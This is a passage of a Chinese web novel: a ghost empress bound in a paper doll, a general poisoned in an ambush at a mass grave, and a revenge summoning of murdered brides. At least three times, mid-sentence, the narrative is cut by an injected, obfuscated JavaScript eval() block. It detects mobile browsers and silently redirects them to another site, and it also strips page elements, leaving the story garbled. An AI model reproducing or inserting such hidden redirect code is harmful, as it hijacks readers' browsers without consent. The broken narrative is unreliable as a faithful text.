他撒完最后一把纸钱,急匆匆地来到顾昔潮面前,解释道: “我遇见她的时候,她魂魄差点要消散,我做了个纸人才留下她的魂魄。正好当时族老们催得紧,我就让她做鬼娘子了。” “我算过,她的身世也可怜极了,没有至亲,也没有爱人,连坟头都没一个,魂魄差点都要散尽了……就算是在我遇见的孤魂野鬼之中,也是最惨的一个了。” 他一面卖惨,一面还抬袖抹眼,故作垂泪状,眼缝里还直给纸人使眼色。 沈今鸾压下怨怒,也垂下头去,装作黯然难过的样子。 她心道,赵羡这小子能处,竟然还没忘记她教给他的最后一步。 “这最后一步,如果顾将军还是怀疑我的身份,你便如实说来,我是你在路上捡来的魂魄,看我孤苦无依,即将魂飞魄散,便将我封入纸人里,当作鬼娘子,好有个归宿。” 只因,赵羡捡她是真人真事,再怎么逼问,都问不出来破绽。 唯有真诚,才是最大的把戏。 赵羡依葫芦画瓢,照她指示一口气说完这一段后,声音怯生生的,还有几分阴阳怪气: “说来,是将军你强抢了纸人,和她拜了堂成了亲,我只能把她暂时托付给你了。你可要切记,这纸人不可焚烧,不可浸水,避潮避热避利器……她魂魄虚弱,将军可要懂得怜香惜玉……” 本是洋洋得意的沈今鸾笑意凝固在了面上。 没想到赵羡素来畏畏缩缩的窝囊样,这胆子竟然大到虎口拔牙。 “当时不过权宜之计,可不能作数的。”她摆摆手,慌忙矢口否认,“怎能辱没顾将军清誉呢……” 赵羡提了提行囊,捂嘴笑道: “哎,一日夫妻百日恩!待我此去崂山精进道术,定为你再塑个肉身,到时就可做回真夫妻啦!” 沈今鸾眼前发黑,真想掐会儿人中。 所幸,顾昔潮倒是神色如常,唇角微压,一言不发,再未深究追问。 赵羡离去之后,沈今鸾定了定神,咳了几声,转而推进她的目标: “依照那个孟茹姑娘所说,她阿爹是在崤山北发现了鬼相公的尸骨,可是,那里已靠近云州……” 她熟悉云朔二州地理,深知之前喜丧最远不过崤山南,而崤山北已是云州地界。 当年一战之后,云州已为北狄人占据,常派游骑在四处巡逻。顾昔潮亲去寻访鬼相公的衣冠冢,万一遇到北狄人,必是一场恶战。 顾昔潮为北疆戍边主帅,若是不慎遇险,定会累及边防。 即便她一心要寻尸骨,即便她对顾昔潮恨之入骨,也不愿拿大魏边境安稳冒险。 “我欲探云州。” 她讶异回首,只见顾昔潮已从树间折下一株枯枝作笔,在雪地上画起了什么。一旁的众将士很快围拢了上来,都是他身边执掌一营的千骑长,一个个神情严肃。 沈今鸾轻扫了一眼他所画,顿时眉目一凛。 虽然只是寥寥数笔,她一眼看出,这是北疆边防的舆图。 他早已事先谋划好了布防,以防北狄突袭。即便无他坐镇,他麾下边军也能抵御攻势。 顾昔潮一面在舆图上比划,一面对众人道: “此去崤山北,凶险难料,朔州三镇,托付于诸位。” 沈今鸾瞧着他肃穆的神容,轻哼道: “这架势,怎么这倒像是安排后事了呀。” 她望着顾昔潮指挥若定的样子,想到当年她父兄在北疆,也是如此排兵布阵的。她歪头看了看他画在雪地上的布防图,随口说: “朔州东多林木,地势复杂,才一队轻骑巡逻太少了。” 顾昔潮颔首,道 “朔州东加一队巡防。” 沈今鸾又瞟了一眼,继续道: “此处本有条河阻断,可寒冬河面结冰,北狄人或许也能过河。” 顾昔潮略一沉吟,回道: “派斥候,日夜探冰面深浅。” 一道道军令下去,众将士各自领命,带兵驾马离去。最后余下的,都是一直在顾昔潮身边的亲兵,不过二三十人,皆是轻装简行。 出发之时,顾昔潮向自己的坐骑走去,不经意地道: “你对朔州三镇的边防,甚是熟悉。” 沈今鸾轻咳一声。 能不熟悉么,云朔二州是生她养她的地方,她幼时待得最久的故乡。 在她才刚会爬的时候,阿爹就抱着她上沙盘,让她拿军旗当小玩意儿耍了。父兄与部下商讨重要军情之时,也从不避着她。 沈今鸾却并不心虚,反倒有几分骄傲。 北疆男子多有从军,家家皆是军户,并不足为奇。她的阿爹大哥二哥,都是北疆最厉害的将星。 于是,她便正气凛然地回道: “家父曾是行伍出身,我不过略知一二。” 一副嘲弄他少见多怪的样子。 顾昔潮在马上仰首远眺,面色无波,鬓边一缕白发在风中温柔拂动。 从前,只能在梦里见到的人,又看见了,恍如初见时灵动。 只静静听她说话,他便轻轻莞尔。 跟在顾昔潮身后的几名亲兵睁大了眼。一人实在没忍住,一踢马镫上前,扯了扯骆雄的袍边,小声道: “刚才,将军是不是对那纸人笑了?” “这几日,将军一直带着那纸人,跟宝贝似的,怪瘆人的……” 骆雄举起马鞭拍了拍那几个咂舌的军士,斥道: “什么纸人?那是夫人!没看见那天将军和她拜堂了吗?” “再敢胡言乱语,对夫人不敬,仔细你们的皮!” “可是,那天要烧了夫人的人,不是你吗?” “你可闭嘴罢!将军都走远了,还不快跟上……” …… 从蓟县北进入崤山腹地,翻山越岭,最后来到崤山北山麓,疾行了半日有余。 入夜以后,崤山以北朔风凛冽,一片寒壁清野。漫天的雪地少见草木,枯叶凋敝,大地裸露似的不着寸缕。 一弯弓月渐上山头,练练月色如缟素一般照满山间,映在众人的甲胄上。 月下夜雾弥漫,四野影影绰绰。骆雄下了马先探,指了指雾气深处,自语道: “前面这一个个土馒包似的,不知是什么?” 沈今鸾抬眼轻瞥。这人怎地这么没眼力见儿。她没好气地回道: “这不是馒包,这是坟头。” 一到此地,她就感到阴气凛人,细看,这处尽是荒坟,骸骨遍地,了无人迹,却有鬼气。 大夜弥天,雾霭重重。黑黢黢的荒坟一丛接着一丛,在浓重夜幕下,好似没有尽头。 顾昔潮面无波澜,不见惧色,带头继续往里深处走去。 纸人在男人臂下低垂着头,一具具面目全非的尸骨在她面前划过。直到一道破碎的寒光闪过她的眼。 “等一下。” 闻言,顾昔潮停了脚步,他屈身,手执雁翎刀挑开了脚底那一寸的冻土。 一片反光的锈铁从乌黑的雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280962|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里露了出来,晶亮如霜华熠熠。 与四周普通人的尸骨全然不同,这倒像是碎裂的盔甲。盔甲的正中,隐隐可见雕刻着一面巨大的夔牛纹。纹路四周,插着数支折断的箭镞,入甲三分。 这便是鬼相公的衣冠冢了。 沈今鸾感到疾风扑倒在脸上,耳边似有嗡名声不断。 她认出来,这一角残片,是当年北疆军的甲胄。 夔牛纹正是当年北疆军的甲纹。 顾昔潮也无声地凝视着她所见,刀尖拄地,半蹲下来,缓缓将甲胄的残片翻了过来。 一角褪色的布料在箭镞尖头游离飘动。可想而知,当年甲胄的主人拔出箭矢的力道之大,连带甲胄和里衣一道撕裂。 箭镞和布料上黏连的血肉早已风化,已与泥土融为一处,只可见凝结成团块的绛色痕迹。 虽然布片残破不堪,血污已作沉黑,还能隐约能看出镶绣的纹样。 是一株并蒂莲。 历经岁月磨砺,仍可见左侧的花叶细密精巧,右侧的却针脚粗大,也不齐整。 这一刻,沈今鸾脑中轰然一声炸响,魂魄颤动不止。 风声呜咽,她意识混沌,仿佛又回到了旧日京都,那处她客居的宅院里。 庭前榴花如火,翠叶似云。她绾着少女时的双环髻,膝上铺着一件簇新的男子劲袍,面前坐着一名素雅端秀的女子。 她听到自己对那女子撒娇道: “栖竹姐姐,嬷嬷又让我做女工,先给二哥出征的袍子绣纹样练练手。正好你来了,你绣一半,我绣一半,可好?” 面前的女子螓首低垂,耳珰轻摇,颊边涌上一抹薄红,轻轻摇头道: “如此不妥。” 沈今鸾摆动她的手,嬉笑道: “有何不妥?等我二哥这次从北疆回来,你就要做我嫂子啦。以后我二哥的外衣中衣,都是你来绣了。” “栖竹姐姐,你绣工好,我帮你赶在二哥出征前送给他,他定会欢喜得不得了。” 她一抬手,从面带娇羞的少女手里取出一块纹样,比了比,笑道: “我瞧,你选的这朵并蒂莲就极好,绣成一双,佑我二哥二嫂永结同心,百年好合……哎哎,好姐姐,我不说了,你别挠我呀。” 少女的欢声笑语渐渐消散在了寒风里。阒静之中,响起沉闷的雷鸣,一声接着一声,断断续续。 那不是雷鸣。沈今鸾发现是自己强忍着的哽咽之声。 她已是鬼魂了,连眼泪都没有一滴。 这一块破布上的并蒂莲,是当年她和二哥未过门的嫂子李栖竹一起绣的。 她犹然记得,二哥出征前一日,收到这身新制的袍子时,毫不掩饰地眉眼俱笑,目中焰光灼灼。 满心欢喜的少年一刻等不及,很快换了新袍出来,身姿英挺如青松,蹀躞带勒出一把劲腰,难掩得意洋洋之色。 她跑过去,扯着他的袍袖道: “快些打完仗回来,我要喝二哥的喜酒呢!” “姑娘家的,不知羞,”二哥轻刮她的鼻梁,故作嫌弃道,“去去去,别弄脏我的新衣。” 一向严肃不苟言笑的大哥在旁看着二人嬉闹,也难得含笑,一本正经地道: “十一娘也要及笄了,可有看中的郎君?大哥给你做媒。” 她跺了跺脚,一头埋进阿爹怀里,闷闷地道: “阿爹,今天连大哥也取笑我!” 沈家英武的男人们一齐爽朗地放声大笑。 可后来,宠她的阿爹大哥,还有明亮如朝阳的二哥俱都战死在了云州,至今不见尸骨。 此地是鬼相公的衣冠冢,为何会有她二哥的旧衣? “将军!” 一声惊呼,沈今鸾思绪骤断,回首望去。 骆雄在不远处飞奔而来,语气微颤: “这儿的坟头在、在动!” 17. 破绽 阴恻恻的风从破碎的坟头涌出来。 众将士紧握着刀,面色且惊且惧,只围在那处坟头几步开外,一动不敢动。 坟头闪过阴森的银芒,顾昔潮视若无物,阴沉着脸疾步过去,两侧的军士迅速为他让开一条道来。 那坟头背后的土包里,雪屑冻土之中,隐隐露出羊头纹的胡袍一角。 只见顾昔潮举起雁翎刀,在坟头轻轻一挑,土块松动一下,接着整片坟头轰然瓦解。 里头竟是一个空荡荡的土坑。 顾昔潮臂挽长刀,接过亲卫的火杖,径直往坑底探去。 火光深入黑暗,照见一道人影蜷缩在乌漆墨黑的坑中角落,被突如其来的光亮刺了双目,以手掩面,额上的疤痕在光下狰狞显现。 骆雄眼睛一亮,纵身一跃,一把将人从土坑里拎了起来,冷笑道: “可算找到你了。” 不是别人,果然正是那日消失的顾四叔,还穿着那日的紧领胡袍,浑身灰扑扑的沾满尘土污雪,已是瘦得两颊凹陷。 沈今鸾冷眼笑看。真是自作自受,这顾四叔被鬼相公抓来此地,惶惶不可终日,不饮不食,活生生在坟坑里躲了两日。 “将军真是料事如神!”众人此行兵行险着,没想到终有所获。 那顾四叔一改当日的嚣张气焰,浑身颤抖,低声不停念叨: “别、别杀我……” 他瞳仁涣散,神志不清,手舞足蹈,状若疯癫,时有呼声一惊一乍,望着眼前一面墙似的军士们,指尖虚虚地指着众人,如醉酒一般呓语道: “阴曹地府……这里是阴曹地府,厉鬼索命来了!” 他的手定在顾昔潮面前,指了指众人,忽嗤嗤地笑出声来: “今日你们都要死在这里!” 骆雄便命人用绳索将顾四叔五花大绑,牢牢将他缚住,摇了摇头: “他好像已经疯了。” 顾昔潮俯下身,将火杖举到那人面前,冷冷唤了一声: “四叔。” 听到“四叔”的字音时,男人突然清醒过来一般,双眼睁大,指着前方的大雾之中,喊道: “九郎,你大哥的尸骨,就在前面!我带你过去,你快救救我,别让我死在这里……” 沈今鸾神情一动。 既然在此地发现了二哥的旧衣,还有顾辞山的尸骨,会不会也是她父兄的埋骨之处? 她心中激荡,再也按奈不住,忍不住直直地看向顾昔潮,等他行动。 可顾昔潮只是远望眼前的浓雾,浓眉微蹙,面上暗沉沉的。他手握着刀柄,拇指一下一下地摩挲着凹凸不平的纹路。 她知道,他每每深思熟虑之时,总是不由自主地做这个动作。 若非顾忌暴露身份,她定然已开口胁迫他前进。 沈今鸾欲言又止,僵持之际,顾昔潮忽然下定决心,朝骆雄颔首示意。 骆雄抓紧绑着顾四叔的绳索,在小臂上卷了几圈勒紧,再有刀尖指在他背上,推搡着人往雾气深处走去: “走,带路罢。敢耍花样,一刀毙了你。” 崤山岿巍,草盛荆深。 山里阴寒,枯枝尚有积雪,惊鸟腾飞而起,抖落霜雪簌簌。 越往山里走,林深雾重,月色被云雾遮掩,越来越暗,身旁的人影都看不分明。 忽有风起于莽野,穿林而来,顾昔潮突然停下,猛然抬臂,示意身后众人止步不前。 下一瞬,几支箭矢“倏倏”落在一行人左右,深深刺入雪地之中。 “有埋伏?!” 众人拔刀躲避,骆雄猛地拽起手中的绳索,却感到力道轻飘,再拉来绳子一看,另一头已然断裂。 “中计了!” 那人不知何时借由浓雾掩护,割断了绑腰的绳索,逃走不见了。 顾昔潮眼角促狭了片刻,独身往前走去,扫了一眼地上的箭矢数量,又拾起一支看了看。 而后,他取出一根新的绳索,环在纸人的肩头腰际,绑了起来。 “哎!你做什么?”沈今鸾惊呼之时,已从他臂下旋到了他背后。 绑着纸人的绳索两端,他系在了自己腰间,利落地打了个死结,淡淡地朝她道: “得罪了。” 沈今鸾来不及说什么,只见他一下子抽紧了绳索,她在纸人里的魂魄便被迫趴在了他脊背上,寸寸贴紧他带着体温的衣袍。 “你!”她凝在舌尖的“大胆”二字出不了口,只见他已空出来的一双手,从箭囊里取出一支箭来,在火杖上的烈焰处来回炙烤。 沈今鸾明白过来,他将她绑在背后,是要腾出一只手来射箭探路。 箭镞上燃起来了一小团火,顾昔潮一手搭弓,一手张弦,射向前方的浓雾深处。 这一道利箭破空而出,点燃了夜空,所过之处,明光照耀,穿过大片浓重的黑暗,几道人影在焰光之中一闪而过。 前面有埋伏!约莫是一支百余人的队伍。 顾昔潮唇角浮起一丝阴冷的笑,令道: “如此甚好,一网打尽。” 顾四叔那是装疯卖傻,以顾辞山的尸骨为诱饵,与同伙一道设伏在此地,意欲将他们这行人引入陷阱一一绞杀。而顾昔潮,早料到顾四叔诡计多端,正是要深入虎穴,将计就计,将所有逃出关外的罪人一并捉拿。 虽然对方人数远胜他们,但这群人不过散兵游勇,岂是顾昔潮营中精锐可比。 众军士神情振奋。终于可将那群追了数年的人全部抓回来,一时士气大振,在静夜之中嘶吼着向前。 走了半刻有余,趴在顾昔潮背上的沈今鸾忽觉身下一轻,纸人像是在微微晃动。 她发现,晃动的不是她的纸人,而是顾昔潮整个人似乎在颤抖。 他不知为何屈了身,右手紧握着雁翎刀拄在地上借力,刀身因主人发颤而嗡鸣不已。 骆雄最先发现异样,冲了过去,低声道: “将军……” 火光照下,沈今鸾这才看清,这数日来,顾昔潮面色的苍白不是雪光所映,发青的唇瓣也不是光线太暗,而是真的毫无血色。 她的目光在他周身上下游走,最后落在他大臂那道伤口上。 她依稀记得,这是她与顾昔潮重逢的那一场喜丧,他突然现身,是为了护住喜轿里的纸人,才挨了那些藏身棺椁的刺客一刀。 那些贼人,竟然在刀上涂了毒。 他连日奔波,一刻未停,支撑到了今日,已是毒性发作。 众人面面相觑,茫然无措。主将负伤,他们的战力便损了大半,如何应对数以两倍的敌人? “无妨。”顾昔潮原地停了片刻,已迅速做出了决断,指向前方,“走。” 他奋然拔刀,起身继续往前,众人紧跟上了他。 疾行之中,脚下踩过的几粒碎石往前掉落下去,几声清脆的响动之后,最后再也了无声息。 顾昔潮骤然停步,举起刀拦住了紧跟着前行的众人。 骆雄举起火杖往前照去,只见脚底的嶙峋怪石一片一片地低下去,再往深处竟是一处不见底的深渊。 那人竟将他们带到了绝路。 身后不断有箭矢纷至沓来,密集如阵雨,处处杀招,是要置他们于死地。顾昔潮的亲卫虽皆是好手,拔刀斩箭,且战且退,也渐渐被逼至崖边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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二人一道摔在墙内的草垫上。那块草垫地因被压过太多次而凹陷下去。 她又一次摔在他胸膛,毫发无伤,听到他落地时闷哼一声,还照旧问她道: “沈十一,你没事吧?……” 那个时候,顾昔潮只会唤她“沈十一”,而非后来的“皇后娘娘”。 待她惺忪睁眼,还来不及嗔怪,少年已纵身一跃,攀上了树,在墙顶上回眸,看她一眼,眉眼含笑,锦袍翻飞。 一眨眼便跳下不见了。 崖石被箭矢击碎的积雪还在身旁簌簌落下,少时的回忆转瞬即逝。 沈今鸾听到粗重的气息,回首,只见身后的顾昔潮背倚岩壁,已是力竭。 方才,他护着纸人重重落地之时,她倚在他身前,感到他因毒性发作整个人动作迟缓,意识浑噩,不似寻常清明。 纵使顾昔潮平日里身如金刚,无坚不摧,到底也只是一副血肉之躯。 而此刻毫发无损的她,连气息都无,只是一缕鬼魂罢了。 沈今鸾垂眸,轻轻叹息。面对他突然的舍命相互,她颇是费解。 身后的男人似是低喃了一声。 听到他的声音,沈今鸾恍惚了一下,倏然抬眸,还以为是自己听错了。 鬼使神差一般地,她的魂魄微微凑近,凝神听着。 崖底昏暗,男人眼帘微阖,昏昏沉沉,浓睫在眼下投下一道促狭的阴影,像是一丝难得的破绽。 “沈十一,你没事吧……” 他无意识地道。 18. 惊觉 “顾昔潮,你唤我什么?” 沈今鸾如堕幻梦,颤栗地吐出一句。 男人似是昏了过去,再没开口,只有越发沉重的血腥气在周遭弥漫。 大地忽然一阵震动。 地面一阵飞沙走石,密集的箭雨自崖顶袭来,每一寸寒芒都带着致死的杀机。 军士们紧紧贴着岩壁作为掩体,透过石缝之间举目凝望着十余丈高的崖顶,辨别着敌人的动静。 月黑风高,原本空无一物的黢黑崖边,乍现几道火光,人影幢幢。 漫天箭雨就从那重重光晕里袭来,尖啸声惊破夜空。 流矢零落的间隙,一道黑影迅雷之速穿过纷急的流矢,如暗夜里的一道孤星,横扫箭雨。 弹指之间,敌人射落数支箭矢已被挽在他的弓弦之上。 “是将军……”众人惊叹。 跌落悬崖的顾昔潮突然只身站了起来,收刀在侧,劲臂挽起身后长弓,张弓搭弦,五指勒紧。 黑暗之中,众人屏息,只能听到弓弦一寸一寸绷紧的声息。 “嗖嗖嗖——” 数道利箭在他手中如流星穿破云雾,从底下直直射向崖边高处的那团火光。 火光登时灭了一处。 箭无虚发,一击即中,光晕里的人影倒地,崖顶传来几声怒骂。 紧接着,像是领头之人中了箭,阵阵箭雨便渐渐弱了下来,为底下的人赢得了一丝喘息之机。 顾昔潮放下了长弓,又缓缓地后倚在岩壁支撑着身体,沉声道: “那几人曾在我军中号令弓箭营。他们中了箭,暂时不会再进攻了。” 他瘦削的下颔绷紧如弦,面色沉定冷静,一声令下: “你们,先走……” 男人双眸垂着,气息越来越微弱: “我,再歇片刻……” 话音刚落,他眼帘一阖,在所有人的视线里,如一座高山一般,直直地倒了下去。 顾昔潮像是拼尽了仅剩的力气,为自己的亲兵杀出了一条生机血路。 “将军!”众军士冲过去搀扶浑身是血的将军。 “将军在发热!这般死战使得气血上涌,毒性发作更快了。” “方才将军拔刀帮我挡了不少箭,是我太没用了,没能随将军突围……” 骆雄等人面色沉痛,只恨自己技不如人,若能和将军一般悍勇就好了。 顾昔潮摇摇头,薄唇紧抿: “若我撑不住了,你们便自己去找出路。性命可贵,不可、不可轻言放弃……” 唇色发青,语如梦呓,再度陷入了昏迷。 众军士们面面相觑,起先没有人动,后来不知不觉散了开去。 听着男人沉沉的呼吸,沈今鸾极力平复下心绪,恍惚之感才渐渐消去。 无论是生前与他斗得你死我活的时候,还是北疆再逢他落魄得大不如前,在她眼里顾昔潮就算是只剩一把断刀,也能所向披靡,战无不胜。 他的身躯像是生铁浇铸,因为冷漠而坚硬无比,无法被摧毁。当年相斗,她时常嘲讽他是一个没有心的死人。 可她从未见过如此强大的顾昔潮这般模样。 即便死前恨毒了顾昔潮,也曾无数次想过亲手将他千刀万剐,可此时此刻,她却希望他不要就这样毒发死在这里。 至少,不是在这里。 沈今鸾攥紧了手,魂魄因意念大动,使得纸人近乎站了起来。她平视四处,忽然看到一块岩石底下压着一条眼熟的红绸。 沿着蜿蜒的红绸望向不远处,她又看到一抬坍塌的喜轿,杠上残留的白幡迎风飘扬。珠帘背后,十余个嫁衣纸人横斜其中,身体碎烂坍塌,空洞的眉眼阴气森森。 冥冥之中,不知是机缘还是巧合,这处竟然就是喜丧队伍最后坠落崤山的那处崖底。 粉身碎骨的棺椁和喜轿之间,落满烧了一半的金元宝和纸钱。此地无风,却传来窸窸窣窣的响动。 像是树叶婆娑的沙沙响声,更像是老鼠啃噬谷仓的细声。 同时,她嗅到几丝异样的气息。 “谁在那里!” 到底是做了多年皇后,沈今鸾即便心中惧怕,仍然声色端严。 喜轿的珠帘被她的阴风拂开,露出一截打颤的枯骨。 四个正在偷食纸钱的小鬼,听到声音,绿幽幽的目光向她望去。 他们的身形乃是一具瘦小的干柴骷髅,气息却是一缕青绿色的魂烟。一个断手一个断脚,一个伛偻着背,一个歪着头颈,正呆滞地望着她。 沈今鸾念头一转,计上心来,故作震怒道: “大胆小鬼,竟敢偷拿本宫的冥钱?” 小鬼见了那纸人说话皆是一惊,壮着胆气抗辩道: “这冥钱撒在这里好久了,怎么会是你的?” “就是啊,你说这纸钱是你的,你叫一声,它们会应你么?” 沈今鸾冷笑不语,袖下轻轻一挥。 一刹那,阴风大作,喜绸白幡狂卷不止,地上瘫倒的十余个纸人为她所驱动,在风中突然直立了起来,缓缓地向四个小鬼围拢,逼近。 小鬼们哪里见过这种阵仗,连滚带爬,骷髅喀嚓直响,抱头痛哭道: “呜呜呜,娘子别打散我。我们四个都是四岁时失足摔死在这里,只能靠捡点纸钱吃饱……” “这些冥钱,本宫皆可赏赐于你们,”沈今鸾收了阴风,微微一笑道,“但本宫不养闲人,收了我的钱,便是与我结了契,就得为我所用。” 四个小鬼听了她的要求,愁眉苦脸道: “我们连饭都吃不饱,还没靠近人就会被灼伤。只有那种冤死的厉鬼,最是厉害了。若正好让他们找到仇家,杀人都不在话下。” 冤死的厉鬼……沈今鸾沉吟片刻,想起了赵氏祖宅那一排灵位里的鬼娘子们。 今日围袭顾昔潮的敌人,正是假借鬼相公之名逃出关外,害得那么多女子魂魄流离失所的仇人。 虽为孤魂,力量微茫,但她从不是孤身一人。 沈今鸾在纸人里站直了身,魂魄抬头,仰面向着四面八方,一字字地道: “仇人在此,请娘子们前来。” 天地之间,静默了一刻,然后隐约传来幽怨的风声。渐渐地,四处风声陡然更烈。 沈今鸾面色苍白,凝神定气,平静的眸光如暗潮汹涌,杀意初显: “请娘子们现身!” 声音喑哑,掀起喜绸席卷,万千白幡大动,十余个残破的纸人迎风直立,每一个,都是一个冤死女子的幻影。 孤魂所召,万里鬼哭。 如有嘈杂人语,如有嫣然笑声,又似阵雷轰隆隆地滚过,响彻天地之间。 “阴兵借道,诸鬼避让——” 四个小鬼吆喝一声,抬起喜轿,枯骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“诸位与我出生入死,今日若信得过我,我尚有最后一计,定不会让诸位丧命于此。” 闻言,本是颓丧的众将士双眼发亮,慷慨激昂,好像只要是将军所言,每一个字都能作数。 顾昔潮收刀入鞘,挽起长弓,照常往身边望去。 空空如也。 掀开身下氅衣之时,他神色一凛,懵怔之中带有一丝慌乱。 “人呢?” 一声平静的,却压抑着怒意的低问。 “什么人?”众军士四望,自从将军一举击落了那几个弓箭手,他们躲避掩体之中,再无伤亡,他在找的又是谁呢。 气氛陷入凝滞,顾昔潮目带血色,鹰视狼顾,声音犹如从喉底发出: “纸人去了何处?” 方才,他惊醒前,他分明听到她对他说了些什么。 “纸人……纸人刚才还在你身上的啊。”众人茫然无措,声色惊恐。纸人身不能动口不能言,怎么能被将军说成“去了何处”? 顾昔潮疾步四巡,猝然立住。 他闭了闭眼,眉头紧皱,抬手扶住了额头,竭力地在回忆。 死一般的寂静中,良久良久,他一动不动凝视着深渊,沉黑的眸底血色浓烈,渐渐暗燃出一丝光亮来。 终于想起,那一句足以让他从昏迷中惊醒的话。 每一个字,都像是一只突如其来的大掌,深入他尘封已久的心脏,一把捏个粉碎。 钝痛之中,他却犹然生出一股荒谬的快意来。 熟悉的语调,与十年前于金銮殿上分毫不差—— “顾昔潮,你可别死在这里,当年的血海深仇,我还要找你一一算来。” 19. 相见 崖顶高地之上,阴风拂过,几匹马不安地刨了刨地,打了一声响鼻。 其中一名黑衣男子,不耐地牵了牵马绳,朝立在崖边那男人走过去,担忧地禀告道: “老四,他们都中了箭,伤得很重……” 他指着地上奄奄一息的同伴,他们身上各有一支利箭贯穿心口。 被唤作“老四”的男人正是逃逸的顾四叔顾单钧。他眯了眯眼,眼尾巨大的疤痕皱起来像是整只右眼都变了形,狰狞如兽: “我就不信这都困不死顾昔潮。” 他猛地踩烂了弓箭,刀疤之下阴骇的眼望着崖底,忽然高声喊道: “九郎,我劝你快些束手就擒。同族一场,我等也会赐你全尸,保不齐你还真能同你大哥葬在一处。” 底下毫无回音。 顾单钧从鼻孔哼出一声。 顾家九郎向来敏锐,心思极重,无论他们如何激将都不肯出现,也不作声,让他们找不准位置射杀,还白白浪费了不少箭矢,折损了好几位善弓箭的弟兄。 就算他今日不死,可崖底无水无粮,围困他几日,不愁杀不了他。 他目光淬了毒一般望向深不见底的深渊。 当年一朝行差踏错,这十年东躲西藏,竟被顾昔潮这个小辈足足追杀了十年!今日终于眼见他气数将尽,好久未有过如此畅快的心情了。 “老四,来喝酒,顾昔潮逃不出来的。” 崖顶逃亡多年的顾家人,围拢在火堆旁磨牙吮血,招呼一直守在崖边的顾单钧。 他们早已扮作羌人,只等杀了顾昔潮永绝后患,便可逃去云州的部落里,从此高枕无忧。 “顾昔潮那小子中了羌人的剧毒,定是撑不了多久了。明日便可下去收他的尸。” “还是多亏那个什么鬼相公。若非我们利用他娶亲,这数月来我们怎能一个个顺利逃出关外。” “是那些人愚蠢无知,天底下哪有什么冤魂索命,多亏老四老谋深算!” 众人齐声笑了起来,顾单钧却面色一沉,想起死里逃生的经历,打断道: “鬼相公专杀羌人,但我们不过扮作羌人,与他无冤无仇,他来了也奈何不了我们。” 众人并不相信,继续饮酒作乐。其中一人爬起来,醉醺醺地去崖边小解,摸黑看着什么东西在碎石堆里一闪一闪。 竟是一只镶绣金纹的绣花鞋,不过他手掌大小,娇小可怜。 男人淫念一动,腹下勾火,心道这荒郊野外,正愁长夜漫漫,无处消解。 他来回把玩这绣鞋,爱不释手,然而再定睛一看,手里的绣花鞋竟化作了一枚惨白的纸钱。 他如烫着了一般,慌忙将那纸钱扔了出去。 纸钱悠悠散在了黑暗无边的夜色里。他的背后一阵阴风吹来,像是有女声在低低吟唱。 他屏息听着,竟恍惚听到一首歌谣: “新嫁娘,画红妆,红妆背后哭断肠。” “新嫁娘,铺喜床,喜床立在坟头旁。” “新嫁娘,见新郎,新郎埋在乱葬岗……” 这歌谣越往后,越不对劲了。他听得脊背发凉,汗毛倒竖,连裤带都来不及系上,逃也似地跑回了火堆处,将这怪事告之同伴。 众人酒酣饭饱,嘲笑他屁滚尿流的模样。 但很快,所有人的笑容便凝在面上。 目之所及,夜空之中不知何时飘起了凄白的纸钱,如大雪一般纷纷扬扬地落下来,精准无误地覆在几人的面上。 一阵急促又诡异的声响从空无一人的背后传来。 “咯吱咯吱——” 声响所到之处,一眨眼,离火堆最远的一人竟然凭空消失不见了。只剩下雪地里两道拖曳的血痕,在雾气里赫然出现。 众人登时起身,握紧了腰刀,睁大双眼,顺着血迹朝前看去。 若隐若现的雾气之中,竟赫然出现了一座喜轿。 血腥的大红之色在无边暗夜里犹为清晰刺目。 众人慌忙背靠着背,拔刀乱舞,倏然就被带走,死寂之中只剩远处偶尔传来的惨叫声。 眼看着身边活生生的人一个接着一个消失不见,顾单钧浑身发抖,壮胆大吼: “什么人?” 话音未落,他一只腿被什么看不见的东西吊起,在雪地上被拖曳了数十步,丢盔弃甲,强行带到了那一座喜轿面前。 一个嫁衣纸人,正坐在喜轿中,没有瞳仁的双目望着他,笑得温婉端庄,又邪气阴森。 …… 茫茫大雾之中,纸钱漫天飘散,底下人鬼厮杀,尸横遍野,直到人声渐渐湮灭在风中。 沈今鸾静在喜轿里幽然矗立,纸皮糊的赤红怀袖迎风吹动。 就像当年在后位上,她一身金玉翟衣,看着与她作对的朝臣流尽万滴鲜血,染红白玉宫砖。 她生前为大魏皇后,母仪天下,曾受天下女子叩拜,死后成了一缕孤魂,也可召来女子冤魂听她号令。 这些鬼娘子们皆是含冤而死,成了戾气所化的厉鬼,怨气深重,杀人于无形。 来去之间,面目可憎的精壮男人们,空挥着刀,一个个倒在了浓雾之中,喉骨破裂,七窍流血,最后抽搐着咽了气。 血花溅起,落在喜轿之间。沈今鸾漫不经心地撩起袖口,避开血流的痕迹。 她心中生出了无限快意。 这些人不仅是害鬼娘子冤死的恶人,也都是逃亡的顾家人。多一个顾家人死于她手,她便多慰一分昔年北疆无辜战死的亡灵。 “别、别杀我……” 沈今鸾循声望过去,只见雪地上垂死挣扎的男人,眼角一道黑疤,正是顾四叔。 她示意鬼娘子先别动手。 阒静了片刻,顾单钧以为有救,匍匐在雪地上四处挣扎,慌乱中抓住了喜轿前的一把珠帘。 珠帘惊慌一般地晃动不止,开了一道小小的缝隙。他看见了喜轿上坐着一个破破烂烂的嫁衣纸人。 她一露面,四野飘荡的鬼魂全部静止下来,只低低地呜咽着,围在他四周,止步不前。 